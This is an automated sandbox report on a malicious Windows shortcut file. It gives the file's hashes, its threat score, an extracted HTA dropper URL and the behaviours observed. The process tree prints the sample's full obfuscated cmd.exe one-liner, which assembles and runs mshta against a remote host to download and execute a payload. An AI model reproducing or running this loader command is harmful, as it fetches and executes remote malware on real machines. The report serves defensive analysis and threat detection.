Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-6W5CFW.lnk
  • Size 2KB
  • Sample260804-kad9caar6s
  • SHA256 ffd62e1b0a7ea1b6da2bb85dcde3cbe59777e9264356348b2bd1c133b7c17d6b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-6W5CFW.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set cwAE=oldgpqbtqmqvqatold&set ZAFZ=syszqlwlgfsjfdumylyejhtsys&set wd=loghowjebolplibwyhlog&set jopyL=infyurpjcxyblginf&set DcDq=pzmshjx0&&set cr=gdctdav&&set gJwl=71au&set KtPr=raestarye&&set sXmn=vztad&set HGpiG=cfguffyorofwqlbcfg&set dhVEn=dbgkumurughatghdbg&set Cj=wincawbqgpbdzqcewwftamrwin&&set vhuqh=ht@tp@s://@m@a-@p@d@[email protected]@/@h/@estagio1.ph@p?r=39@1469FB5@D82DB&&start /b !DcDq:~2,3!!cr:~3,1!!gJwl:~2,1! !vhuqh:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2168

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads